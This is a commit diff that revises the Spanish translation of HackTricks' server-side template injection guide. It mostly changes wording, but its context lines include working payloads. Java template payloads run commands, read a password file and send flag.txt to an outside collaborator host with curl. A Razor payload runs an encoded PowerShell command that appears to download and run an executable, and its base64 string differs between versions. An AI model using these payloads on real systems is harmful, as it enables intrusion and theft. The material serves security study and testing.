mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-25 22:20:43 +00:00
Translated ['pentesting-web/ssti-server-side-template-injection/README.m
This commit is contained in:
parent
612bf87bc0
commit
962c2fff1f
1 changed files with 17 additions and 17 deletions
|
@ -10,7 +10,7 @@ Otras formas de apoyar a HackTricks:
|
|||
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
|
@ -36,7 +36,7 @@ http://vulnerable-website.com/?name={{bad-stuff-here}}
|
|||
```
|
||||
El payload `{{bad-stuff-here}}` se inyecta en el parámetro `name`. Este payload puede contener directivas de plantilla Jinja que permiten al atacante ejecutar código no autorizado o manipular el motor de plantillas, potencialmente obteniendo control sobre el servidor.
|
||||
|
||||
Para prevenir vulnerabilidades de inyección de plantillas en el servidor, los desarrolladores deben asegurarse de que la entrada del usuario esté correctamente sanitizada y validada antes de ser insertada en las plantillas. Implementar validación de entrada y utilizar técnicas de escape conscientes del contexto puede ayudar a mitigar el riesgo de esta vulnerabilidad.
|
||||
Para prevenir vulnerabilidades de inyección de plantillas en el servidor, los desarrolladores deben asegurarse de que la entrada del usuario se sanea y valida correctamente antes de ser insertada en las plantillas. Implementar validación de entrada y utilizar técnicas de escape conscientes del contexto puede ayudar a mitigar el riesgo de esta vulnerabilidad.
|
||||
|
||||
### Detección
|
||||
|
||||
|
@ -44,18 +44,18 @@ Para detectar la Inyección de Plantillas en el Servidor (SSTI), inicialmente, *
|
|||
|
||||
- Errores arrojados, revelando la vulnerabilidad y potencialmente el motor de plantillas.
|
||||
- Ausencia de la carga en la reflexión, o partes faltantes, lo que implica que el servidor la procesa de manera diferente a los datos regulares.
|
||||
- **Contexto de Texto sin formato**: Distinguir de XSS verificando si el servidor evalúa expresiones de plantilla (por ejemplo, `{{7*7}}`, `${7*7}`).
|
||||
- **Contexto de Texto sin formato**: Distinguir de XSS comprobando si el servidor evalúa expresiones de plantilla (por ejemplo, `{{7*7}}`, `${7*7}`).
|
||||
- **Contexto de Código**: Confirmar la vulnerabilidad alterando los parámetros de entrada. Por ejemplo, cambiar `greeting` en `http://vulnerable-website.com/?greeting=data.username` para ver si la salida del servidor es dinámica o fija, como en `greeting=data.username}}hello` devolviendo el nombre de usuario.
|
||||
|
||||
#### Fase de Identificación
|
||||
|
||||
Identificar el motor de plantillas implica analizar mensajes de error o probar manualmente varios payloads específicos del lenguaje. Los payloads comunes que causan errores incluyen `${7/0}`, `{{7/0}}` y `<%= 7/0 %>`. Observar la respuesta del servidor a operaciones matemáticas ayuda a identificar el motor de plantillas específico.
|
||||
Identificar el motor de plantillas implica analizar mensajes de error o probar manualmente varios payloads específicos de lenguaje. Los payloads comunes que causan errores incluyen `${7/0}`, `{{7/0}}` y `<%= 7/0 %>`. Observar la respuesta del servidor a operaciones matemáticas ayuda a identificar el motor de plantillas específico.
|
||||
|
||||
## Herramientas
|
||||
|
||||
### [TInjA](https://github.com/Hackmanit/TInjA)
|
||||
|
||||
un escáner eficiente de SSTI + CSTI que utiliza políglotos novedosos
|
||||
un escáner eficiente de SSTI + CSTI que utiliza políglotas novedosos
|
||||
```bash
|
||||
tinja url -u "http://example.com/?name=Kirlia" -H "Authentication: Bearer ey..."
|
||||
tinja url -u "http://example.com/" -d "username=Kirlia" -c "PHPSESSID=ABC123..."
|
||||
|
@ -63,8 +63,8 @@ tinja url -u "http://example.com/" -d "username=Kirlia" -c "PHPSESSID=ABC123...
|
|||
### [SSTImap](https://github.com/vladko312/sstimap)
|
||||
```bash
|
||||
python3 sstimap.py -i -l 5
|
||||
python3 sstimap.py -u "http://example.com/ --crawl 5 --forms
|
||||
python3 sstimap.py -u 'https://example.com/page?name=John' -s
|
||||
python3 sstimap.py -u "http://example.com/" --crawl 5 --forms
|
||||
python3 sstimap.py -u "https://example.com/page?name=John" -s
|
||||
```
|
||||
### [Tplmap](https://github.com/epinna/tplmap)
|
||||
```python
|
||||
|
@ -122,7 +122,7 @@ ${"freemarker.template.utility.Execute"?new()("id")}
|
|||
|
||||
${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")}
|
||||
```
|
||||
**Freemarker - Bypass de sandbox**
|
||||
**Freemarker - Bypass de la caja de arena**
|
||||
|
||||
⚠️ solo funciona en versiones de Freemarker anteriores a 2.3.30
|
||||
```java
|
||||
|
@ -180,7 +180,7 @@ ${T(java.lang.Runtime).getRuntime().exec('calc')}
|
|||
${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("calc")}
|
||||
```
|
||||
|
||||
Thymeleaf requiere que estas expresiones se coloquen dentro de atributos específicos. Sin embargo, el _inlineado de expresiones_ es compatible para otras ubicaciones de plantillas, utilizando sintaxis como `[[...]]` o `[(...)]`. Por lo tanto, un simple payload de prueba de SSTI en Thymeleaf podría verse así: `[[${7*7}]]`.
|
||||
Thymeleaf requiere que estas expresiones se coloquen dentro de atributos específicos. Sin embargo, el _inlineado de expresiones_ es compatible para otras ubicaciones de plantillas, utilizando sintaxis como `[[...]]` o `[(...)]`. Por lo tanto, un simple payload de prueba de SSTI podría verse como `[[${7*7}]]`.
|
||||
|
||||
Sin embargo, la probabilidad de que este payload funcione generalmente es baja. La configuración predeterminada de Thymeleaf no admite la generación dinámica de plantillas; las plantillas deben estar predefinidas. Los desarrolladores deberían implementar su propio `TemplateResolver` para crear plantillas a partir de cadenas sobre la marcha, lo cual es poco común.
|
||||
|
||||
|
@ -190,7 +190,7 @@ Thymeleaf también ofrece _preprocesamiento de expresiones_, donde las expresion
|
|||
```
|
||||
**Ejemplo de Vulnerabilidad en Thymeleaf**
|
||||
|
||||
Considere el siguiente fragmento de código, que podría ser susceptible a explotación:
|
||||
Considere el siguiente fragmento de código, el cual podría ser susceptible a explotación:
|
||||
```xml
|
||||
<a th:href="@{__${path}__}" th:title="${title}">
|
||||
<a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl -d @/flag.txt burpcollab.com')}" th:title='pepito'>
|
||||
|
@ -294,7 +294,7 @@ Nueva versión de Pebble:
|
|||
```
|
||||
### Jinjava (Java)
|
||||
|
||||
Jinjava es un motor de plantillas Java que admite la inyección de plantillas en el lado del servidor (SSTI). Permite a los atacantes ejecutar código arbitrario en el servidor afectado.
|
||||
Jinjava es un motor de plantillas Java que admite la inyección de plantillas en el lado del servidor (SSTI). Permite a los atacantes ejecutar código remoto en el servidor afectado.
|
||||
```java
|
||||
{{'a'.toUpperCase()}} would result in 'A'
|
||||
{{ request }} would return a request object like com.[...].context.TemplateContextRequest@23548206
|
||||
|
@ -739,7 +739,7 @@ home = pugjs.render(injected_page)
|
|||
|
||||
### Python
|
||||
|
||||
Consulta la siguiente página para aprender trucos sobre **burlar las cajas de arena de ejecución de comandos arbitrarios** en Python:
|
||||
Consulta la siguiente página para aprender trucos sobre **burlar ejecución de comandos arbitrarios evitando cajas de arena** en python:
|
||||
|
||||
{% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %}
|
||||
[bypass-python-sandboxes](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/)
|
||||
|
@ -854,7 +854,7 @@ ${x}
|
|||
* `@(1+2)`
|
||||
* `@( //Código C# )`
|
||||
* `@System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");`
|
||||
* `@System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4MQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAYQBzAGsAcwBcAHQAZQBzAHQAbQBlAHQANgA0AC4AZQB4AGUAOwAgAEMAOgBcAFcAaQBuAGQAbw3AHMAXABUAGEAcwBrAHMAXAB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlAA==");`
|
||||
* `@System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4MQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAYQBzAGsAcwBcAHQAZQBzAHQAbQBlAHQANgA0AC4AZQB4AGUAOwAgAEMAOgBcAFcAaQBuAGQAbw3AHMAXABUAGEAcwBrAHMAXAB0AGUAcw0AZQB0ADYANAAuAGUAeABlAA==");`
|
||||
|
||||
El método `.NET` `System.Diagnostics.Process.Start` se puede utilizar para iniciar cualquier proceso en el servidor y así crear un webshell. Puedes encontrar un ejemplo de una aplicación web vulnerable en [https://github.com/cnotin/RazorVulnerableApp](https://github.com/cnotin/RazorVulnerableApp)
|
||||
|
||||
|
@ -896,9 +896,9 @@ En el motor de plantillas de Go, la confirmación de su uso se puede hacer con p
|
|||
|
||||
**Explotación de XSS**
|
||||
|
||||
Con el paquete `text/template`, XSS puede ser directo al insertar el payload directamente. Por el contrario, el paquete `html/template` codifica la respuesta para evitar esto (por ejemplo, `{{"<script>alert(1)</script>"}}` resulta en `<script>alert(1)</script>`). Sin embargo, la definición e invocación de plantillas en Go pueden evitar esta codificación: \{{define "T1"\}}alert(1)\{{end\}} \{{template "T1"\}}
|
||||
Con el paquete `text/template`, XSS puede ser directo al insertar el payload directamente. Por el contrario, el paquete `html/template` codifica la respuesta para evitar esto (por ejemplo, `{{"<script>alert(1)</script>"}}` resulta en `<script>alert(1)</script>`). Sin embargo, la definición e invocación de plantillas en Go puede evitar esta codificación: \{{define "T1"\}}alert(1)\{{end\}} \{{template "T1"\}}
|
||||
|
||||
vbnet Copy code
|
||||
vbnet Copiar código
|
||||
|
||||
**Explotación de RCE**
|
||||
|
||||
|
@ -960,8 +960,8 @@ Si crees que podría ser útil, lee:
|
|||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
|
Loading…
Reference in a new issue